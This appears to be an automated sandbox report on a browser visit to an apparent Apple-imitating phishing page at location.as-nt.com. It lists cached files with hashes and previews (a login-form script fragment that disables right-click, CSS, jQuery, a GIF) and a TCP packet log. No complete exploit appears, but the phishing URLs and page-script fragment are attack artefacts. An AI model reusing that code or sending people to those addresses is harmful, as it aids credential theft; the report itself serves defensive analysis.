SSDEEP:	192:BEiYA68EiYKFZkc581cWJJT37IS3IQ3Al:BXYYXYKf6JJJw65w
MD5:	439E4CAB9246324ADD28B1FFCBAF4183
SHA1:	72A50EA229E8AA60EA6B9EE67F3303BCEC34EDC5
SHA-256:	F24A19E6A278F8060774960C4580AFD2B7654F4BD200237D689812D1153591D4
SHA-512:	95C11CB9BBF26F15B41BC660207403EBE0FF9BBFB3305F309B6075895A297C1021AC5E9E0BDB3BAC24B07C2C05D8D70F6FA0CB3CBBBBEC4176A29B861B0A82F4
Malicious:	false
Reputation:	low
Preview:	document.oncontextmenu = function(){return false;}. . $(document).ready(function(){. .. $("#btn_ip").css("top","5px");.. $("#cont_btn_apple").addClass("ap_bor");. $("#cont_btn_apple").addClass("bor");. . $("#cont_pwd").addClass('no_visibless');. $("#btn_ip").append('<img id="bt_flec2" class="icon icon_sign_in" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAABgklEQVR42r3WsU7CUBSA4QtGQVIHYayjEgYTdpd2EV4BnXkGnWHRAY1jCZsJYtzcSU0kGt7ASSkLTD4ALvgPh4Q00GtL6/B1uSfnpO0991x1fGLrFHGBPiaYiQn6slbU5QlatPCKMa5QwQEyMFBCVda+JNYKUygLBx7OsAWlkZZYDw6yukJ5vOMZe1AhGXiQHPl1hXIY4g5pqIhSuJVcuVWFOniUQLWhlOTq+AtZ8GBAxcSAB2u50ADnIRPVsa+JqWGwKFSGF+G/dPGBQ81u9FBWPBq4hopQaI7voP6R3A3Fw0U1aiHxg/qauFO8KDlKTCifJp4CjDH3aa1ocBMTJedWBspngHkE9748O5j9W6G4P91N0KdzUUl6M8S1vW3N9m4uGna0QcMeaRp2hPLyj68lewQlf6ja/jHRRi/GMdFDO+nB11o7+EQBww1HeVdyFHSXk1048FD749ulJdaDg1zY69ab77plYluYqMjap8TaQdctnRIu4WKKHzGFK2slXZ5f2RlINtkg1cIAAAAASUVORK5CYII=">');. . $("#sign-in").on("click",func

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 32 x 32
Category:	downloaded
Size (bytes):	3783
Entropy (8bit):	7.483148009341424
Encrypted:	false
SSDEEP:	96:3wl4ldG+Uf82TtIW/G8+4p2PRIbjGiWBUyL/hsO5Msiun:Al470X2QG8N4EjGioUVO59n
MD5:	3DB24B58DC488B1820ECBD06300F5CEC
SHA1:	2886D696139C36EEDA8DB561B4F178C0876603B5
SHA-256:	FD458F36D73B7D6434326D18C9229DA92384D37303DBDD72FA346597FDE23068
SHA-512:	833FF2B2C88E901CA7796189F0A0B7518DDAE74265ED58F4CD111E4C8F7A3C0A1D4D00408E2033C3968CB811A96A10EFAA4B46B16C33935793091146C7BC9D1E
Malicious:	false
Reputation:	low
URL:	https://www.location.as-nt.com/aU3V88/images/ajax-loader.gif
Preview:	GIF89a . ....```...............~~~......................>>>...lll.......VVV......JJJ.................,,,LLL\|\|\|^^^.......................................................................................!..NETSCAPE2.0.....!..Created with ajaxload.info.!.......,.... . ......pH$...Fq.$j.D.@.).......V....K.<....:<$..r......L8!/...BxBnb}E!g....o.r..E.g..^..oWD.c.....JC.g......oqm.o........!.E.....{p~....r...D...#}.M....d......K......r.........o....\|........].q...` 9C.f%.$G.=..}.C..u..-.H..!.......'......O.K"1......5.&{j.T.@.BBo..e...6..<..4C.B?..1..)..G.b.K... .!.......,...........@.pH$"0.AqI.....P.0....*..E...`0x...."........?....(S.i^.m.WB#e{......MJD.e.uj.mVB....{ke......m.D.....t.#.K...E...........................B....t...................A.!.......,...........@.pH$...Bq.."....(.......V....K.@ ...:,<..21s.Z._...A..g.BxB.o..D.g.w^.....d..FgW..oWD.c.......g......o.D.........v..JE..i.n...F..~.."...K...d ....K....X.."ydv..E.....................E`AE........R...JP.\)^..

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	52
Entropy (8bit):	4.462660333975702
Encrypted:	false
SSDEEP:	3:OhG5xCunnVKekuSrIYn:OgLCokPr5
MD5:	0D931CE85BEA237F3A58C4252E4A77CA
SHA1:	1C7E4E13D0FF849BCE9CA33EFC2D95E3160DA475
SHA-256:	0D129697E649B29413707BB804C5C25BE60D0531AE3AAD888C23AFFCBEAC03F7
SHA-512:	B4CCE6E3AAD22D4836AE957E3C5CC3BBE5E3999EE4663F39CE6487896E19C01DE8531093648E9B720964295D9D98340EAF2830EF47377CA92C52B6BB6CE05B70
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSJQmYKMMD8xeNXBIFDQOnkNMSBQ1p6cC2EgUNQaf_nxIFDdd6aK8=?alt=proto
Preview:	CiQKBw0Dp5DTGgAKBw1p6cC2GgAKBw1Bp/+fGgAKBw3XemivGgA=

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (540), with CRLF line terminators
Category:	downloaded
Size (bytes):	87959
Entropy (8bit):	4.90161265324487
Encrypted:	false
SSDEEP:	768:03q8agQxE9mjIaHmVdHmV+HmVTHmVDHmVNHmVhJ6Epi:0zQxYPP6
MD5:	A7039265F027DCD21C860AB76F731573
SHA1:	C039E53AE479854841F2EA41022EA27E8ADFE6BE
SHA-256:	83B5092DD2549F45CC59507DC2A93F7DCDAB66DBFACCEBD7BAA6FA01FE3B5E62
SHA-512:	F3DBF45E21BD93E665A0526FE425F0A14233784620298FC1FB8B708911C710862823E5F8BE5195C9B50120E37ABD520A35C25F43CB7A31A1799E0B705C9A6571
Malicious:	false
Reputation:	low
URL:	https://www.location.as-nt.com/aU3V88/css/appe.css?v=1
Preview:	html {font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;}....body {margin:0;}....article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary {.. display:block;..}....audio, canvas, progress, video {.. display:inline-block;.. vertical-align:baseline;..}....audio:not([controls]) {.. display:none;.. height:0;..}....[hidden], template {.. display:none;..}....a{.. background-color:transparent;..}....a:active, a:hover {outline:0;}..abbr[title]{border-bottom:1px dotted;}..b, strong {font-weight:bold;}..dfn {font-style:italic;}..h1 {font-size:2em;margin:0.67em 0;}..mark {background:#ff0;color:#000;}..small {font-size:80%;}..sub, sup {font-size:75%;line-height:0;position:relative;vertical-align:baseline;}..sup {top:-0.5em;}..sub {bottom:-0.25em;}..img {border:0;}..svg:not(:root) {overflow:hidden;}..figure {margin:1em 40px;}..hr {box-sizing:content-box;height:0;}..pre {overflow:auto;}....code, kbd, pre,

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	257551
Entropy (8bit):	5.076103298470518
Encrypted:	false
SSDEEP:	6144:yeLfh6nxcr8uVgTdp2YmD1BFEFy41vL/2VX82KLHIPf2hADD1+RH:yGxYmDTmFyHsDMPfOADD8RH
MD5:	888D4551B8DB7C41CDA28D95E494F998
SHA1:	26E6B63B81813D8AD942C90D369DF2673602B812
SHA-256:	893E90F6230962E42231635DF650F20544AD22AFFC3EE396DF768EAA6BC5A6A2
SHA-512:	38AB8BDA4A62F337DE5DCA925E719B2FAB4A73D2715A6A69258E263929F512C9E045BEDFC75379FBBC0E4C6AAED9B23938060BDCE83BFC17A0EC4B161B638128
Malicious:	false
Reputation:	low
Preview:	/!. jQuery JavaScript Library v2.2.4. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright jQuery Foundation and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2016-05-20T17:23Z. */..(function( global, factory ) {...if ( typeof module === "object" && typeof module.exports === "object" ) {...// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factory( w );....};..}

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF, CR line terminators
Category:	downloaded
Size (bytes):	8479
Entropy (8bit):	5.267676982301893
Encrypted:	false
SSDEEP:	192:5+rBrUrzrMryr4r5rLrWrb4Zre1MrvprVr4rargrdrbrrnrQHrar2rLrFrs:5kB+P2AaZnc07B9aIClXrrQLI8nNs
MD5:	40DD3ED6442854F9D3C88E815E973CBC
SHA1:	5AB44172299C71F3BA00500BBC5FE54444E078FA
SHA-256:	E886A86CEAD4CF5038E4A382F801891DF37C975F922BC24E4C0720BCBE071764
SHA-512:	EE84A2E16F50F797B435ACB8E907A0C3E1E0B35AC88988597864AF14F36E0D55BD8C592664BA2CBD89D14DA536F1C26AC348123F3D66EE1EFE6D03B5FCC0A9DC
Malicious:	false
Reputation:	low
URL:	https://www.location.as-nt.com/aU3V88/css/fonts2.css
Preview:	@font-face {....font-family:'Myriad Set Pro';....font-style:normal;....font-weight:100;....src:local('......'), url("myriad-set-pro_ultralight.woff") format("woff"), url("myriad-set-pro_ultralight.ttf") format("truetype");..../* Copyright (c) 1992 Adobe Systems Incorporated. All Rights Reserved. Myriad is a trademark of Adobe Systems Incorporated. /...}......@font-face {....font-family:'Myriad Set Pro';....font-style:italic;....font-weight:100;....src:local('......'), url("myriad-set-pro_ultralight-italic.woff") format("woff"), url("myriad-set-pro_ultralight-italic.ttf") format("truetype");..../ Copyright (c) 1992 Adobe Systems Incorporated. All Rights Reserved. Myriad is a trademark of Adobe Systems Incorporated. /...}......@font-face {....font-family:'Myriad Set Pro 100';....src:url("myriad-set-pro_ultralight.eot");..../ Copyright (c) 1992 Adobe Systems Incorporated. All Rights Reserved. Myriad is a trademark of Adobe Systems Incorporated. */...}......@font-face {....

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 32 x 32
Category:	dropped
Size (bytes):	3783
Entropy (8bit):	7.483148009341424
Encrypted:	false
SSDEEP:	96:3wl4ldG+Uf82TtIW/G8+4p2PRIbjGiWBUyL/hsO5Msiun:Al470X2QG8N4EjGioUVO59n
MD5:	3DB24B58DC488B1820ECBD06300F5CEC
SHA1:	2886D696139C36EEDA8DB561B4F178C0876603B5
SHA-256:	FD458F36D73B7D6434326D18C9229DA92384D37303DBDD72FA346597FDE23068
SHA-512:	833FF2B2C88E901CA7796189F0A0B7518DDAE74265ED58F4CD111E4C8F7A3C0A1D4D00408E2033C3968CB811A96A10EFAA4B46B16C33935793091146C7BC9D1E
Malicious:	false
Reputation:	low
Preview:	GIF89a . ....```...............~~~......................>>>...lll.......VVV......JJJ.................,,,LLL\|\|\|^^^.......................................................................................!..NETSCAPE2.0.....!..Created with ajaxload.info.!.......,.... . ......pH$...Fq.$j.D.@.).......V....K.<....:<$..r......L8!/...BxBnb}E!g....o.r..E.g..^..oWD.c.....JC.g......oqm.o........!.E.....{p~....r...D...#}.M....d......K......r.........o....\|........].q...` 9C.f%.$G.=..}.C..u..-.H..!.......'......O.K"1......5.&{j.T.@.BBo..e...6..<..4C.B?..1..)..G.b.K... .!.......,...........@.pH$"0.AqI.....P.0....*..E...`0x...."........?....(S.i^.m.WB#e{......MJD.e.uj.mVB....{ke......m.D.....t.#.K...E...........................B....t...................A.!.......,...........@.pH$...Bq.."....(.......V....K.@ ...:,<..21s.Z._...A..g.BxB.o..D.g.w^.....d..FgW..oWD.c.......g......o.D.........v..JE..i.n...F..~.."...K...d ....K....X.."ydv..E.....................E`AE........R...JP.\)^..

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 01:36:49.251955986 CET	49673	443	192.168.2.6	173.222.162.64
Jan 13, 2025 01:36:49.251959085 CET	49674	443	192.168.2.6	173.222.162.64
Jan 13, 2025 01:36:49.564502954 CET	49672	443	192.168.2.6	173.222.162.64
Jan 13, 2025 01:36:56.007983923 CET	49712	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:36:56.008042097 CET	443	49712	40.113.110.67	192.168.2.6
Jan 13, 2025 01:36:56.008411884 CET	49712	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:36:56.009037018 CET	49712	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:36:56.009053946 CET	443	49712	40.113.110.67	192.168.2.6
Jan 13, 2025 01:36:56.972558022 CET	443	49712	40.113.110.67	192.168.2.6
Jan 13, 2025 01:36:56.972625017 CET	49712	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:36:56.978180885 CET	49712	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:36:56.978192091 CET	443	49712	40.113.110.67	192.168.2.6
Jan 13, 2025 01:36:56.978590012 CET	443	49712	40.113.110.67	192.168.2.6
Jan 13, 2025 01:36:56.980516911 CET	49712	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:36:56.980516911 CET	49712	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:36:56.980545044 CET	443	49712	40.113.110.67	192.168.2.6
Jan 13, 2025 01:36:56.980710030 CET	49712	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:36:57.023367882 CET	443	49712	40.113.110.67	192.168.2.6
Jan 13, 2025 01:36:57.151016951 CET	443	49712	40.113.110.67	192.168.2.6
Jan 13, 2025 01:36:57.151251078 CET	443	49712	40.113.110.67	192.168.2.6
Jan 13, 2025 01:36:57.151331902 CET	49712	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:36:57.152419090 CET	49712	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:36:57.152419090 CET	49712	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:36:57.152441978 CET	443	49712	40.113.110.67	192.168.2.6
Jan 13, 2025 01:36:58.860074997 CET	49673	443	192.168.2.6	173.222.162.64
Jan 13, 2025 01:36:58.860083103 CET	49674	443	192.168.2.6	173.222.162.64
Jan 13, 2025 01:36:59.172590971 CET	49672	443	192.168.2.6	173.222.162.64
Jan 13, 2025 01:36:59.866983891 CET	49718	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:36:59.867088079 CET	443	49718	142.250.185.132	192.168.2.6
Jan 13, 2025 01:36:59.867921114 CET	49718	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:36:59.868148088 CET	49718	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:36:59.868199110 CET	443	49718	142.250.185.132	192.168.2.6
Jan 13, 2025 01:37:00.522598028 CET	443	49718	142.250.185.132	192.168.2.6
Jan 13, 2025 01:37:00.523031950 CET	49718	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:37:00.523067951 CET	443	49718	142.250.185.132	192.168.2.6
Jan 13, 2025 01:37:00.524529934 CET	443	49718	142.250.185.132	192.168.2.6
Jan 13, 2025 01:37:00.524662018 CET	49718	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:37:00.531658888 CET	49718	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:37:00.531821012 CET	443	49718	142.250.185.132	192.168.2.6
Jan 13, 2025 01:37:00.579668999 CET	49718	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:37:00.579694033 CET	443	49718	142.250.185.132	192.168.2.6
Jan 13, 2025 01:37:00.625612974 CET	49718	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:37:00.856030941 CET	443	49708	173.222.162.64	192.168.2.6
Jan 13, 2025 01:37:00.856106997 CET	49708	443	192.168.2.6	173.222.162.64
Jan 13, 2025 01:37:03.680608034 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:03.680643082 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:03.680756092 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:03.682411909 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:03.682490110 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:03.682558060 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:03.683680058 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:03.683697939 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:03.684391975 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:03.684425116 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:04.123433113 CET	49742	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:04.123460054 CET	443	49742	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:04.123532057 CET	49742	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:04.124175072 CET	49742	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:04.124188900 CET	443	49742	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:04.931778908 CET	443	49742	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:04.931884050 CET	49742	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:04.934441090 CET	49742	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:04.934449911 CET	443	49742	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:04.935271978 CET	443	49742	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:04.936861038 CET	49742	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:04.936918020 CET	49742	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:04.936923027 CET	443	49742	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:04.937045097 CET	49742	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:04.983321905 CET	443	49742	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:05.115477085 CET	443	49742	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:05.115618944 CET	443	49742	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:05.115717888 CET	49742	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:05.115837097 CET	49742	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:05.115850925 CET	443	49742	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:10.423398972 CET	443	49718	142.250.185.132	192.168.2.6
Jan 13, 2025 01:37:10.423460960 CET	443	49718	142.250.185.132	192.168.2.6
Jan 13, 2025 01:37:10.423520088 CET	49718	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:37:10.828723907 CET	49718	443	192.168.2.6	142.250.185.132
Jan 13, 2025 01:37:10.828747034 CET	443	49718	142.250.185.132	192.168.2.6
Jan 13, 2025 01:37:16.555677891 CET	49825	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:16.555747986 CET	443	49825	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:16.555833101 CET	49825	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:16.556982040 CET	49825	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:16.556999922 CET	443	49825	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:17.336075068 CET	443	49825	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:17.336167097 CET	49825	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:17.347532034 CET	49825	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:17.347552061 CET	443	49825	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:17.347791910 CET	443	49825	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:17.350493908 CET	49825	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:17.350684881 CET	49825	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:17.350689888 CET	443	49825	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:17.350868940 CET	49825	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:17.391357899 CET	443	49825	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:17.526667118 CET	443	49825	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:17.526772976 CET	443	49825	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:17.526854992 CET	49825	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:17.527414083 CET	49825	443	192.168.2.6	40.113.110.67
Jan 13, 2025 01:37:17.527431011 CET	443	49825	40.113.110.67	192.168.2.6
Jan 13, 2025 01:37:18.796664000 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:18.797705889 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:18.797717094 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:18.799376965 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:18.799511909 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:18.802098989 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:18.802189112 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:18.802247047 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:18.802570105 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:18.802577972 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:18.802818060 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:18.802885056 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:18.804486036 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:18.804569006 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:18.805740118 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:18.805823088 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:18.845233917 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:18.860162020 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:18.860167980 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:18.907490969 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.233187914 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.233727932 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.233738899 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.233817101 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.233841896 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.276215076 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.326447010 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.326479912 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.326556921 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.326556921 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.326585054 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.327234030 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.327279091 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.327295065 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.327305079 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.327351093 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.328613997 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.328736067 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.328746080 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.328819990 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.328912020 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.328922033 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.355675936 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.375266075 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.396955967 CET	49849	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.397005081 CET	443	49849	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.397181988 CET	49849	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.398420095 CET	49849	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.398437023 CET	443	49849	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.399370909 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.400011063 CET	49850	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.400058031 CET	443	49850	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.400126934 CET	49850	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.400595903 CET	49851	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.400607109 CET	443	49851	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.400691032 CET	49851	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.400847912 CET	49850	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.400878906 CET	443	49850	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.401169062 CET	49851	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.401180983 CET	443	49851	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.401784897 CET	49852	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.401882887 CET	443	49852	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.401978016 CET	49852	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.402559042 CET	49852	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.402611017 CET	443	49852	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.409198999 CET	49854	443	192.168.2.6	151.101.194.137
Jan 13, 2025 01:37:20.409280062 CET	443	49854	151.101.194.137	192.168.2.6
Jan 13, 2025 01:37:20.409431934 CET	49854	443	192.168.2.6	151.101.194.137
Jan 13, 2025 01:37:20.409588099 CET	49854	443	192.168.2.6	151.101.194.137
Jan 13, 2025 01:37:20.409619093 CET	443	49854	151.101.194.137	192.168.2.6
Jan 13, 2025 01:37:20.417027950 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.417051077 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.417145967 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.417155027 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.417186022 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.417227983 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.417269945 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.417552948 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.417638063 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.419610977 CET	49735	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.419631004 CET	443	49735	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.545382977 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.545444965 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.545464993 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.545483112 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.545532942 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.545608044 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.545650959 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.545757055 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.545823097 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.582823038 CET	49736	443	192.168.2.6	89.250.71.221
Jan 13, 2025 01:37:20.582844973 CET	443	49736	89.250.71.221	192.168.2.6
Jan 13, 2025 01:37:20.864372015 CET	443	49854	151.101.194.137	192.168.2.6
Jan 13, 2025 01:37:20.871716022 CET	49854	443	192.168.2.6	151.101.194.137
Jan 13, 2025 01:37:20.871778011 CET	443	49854	151.101.194.137	192.168.2.6
Jan 13, 2025 01:37:20.872917891 CET	443	49854	151.101.194.137	192.168.2.6
Jan 13, 2025 01:37:20.872997999 CET	49854	443	192.168.2.6	151.101.194.137
Jan 13, 2025 01:37:20.907361984 CET	49854	443	192.168.2.6	151.101.194.137
Jan 13, 2025 01:37:20.907596111 CET	443	49854	151.101.194.137	192.168.2.6
Jan 13, 2025 01:37:20.907643080 CET	49854	443	192.168.2.6	151.101.194.137
Jan 13, 2025 01:37:20.948324919 CET	49854	443	192.168.2.6	151.101.194.137
Jan 13, 2025 01:37:20.948353052 CET	443	49854	151.101.194.137	192.168.2.6
Jan 13, 2025 01:37:20.995934010 CET	49854	443	192.168.2.6	151.101.194.137
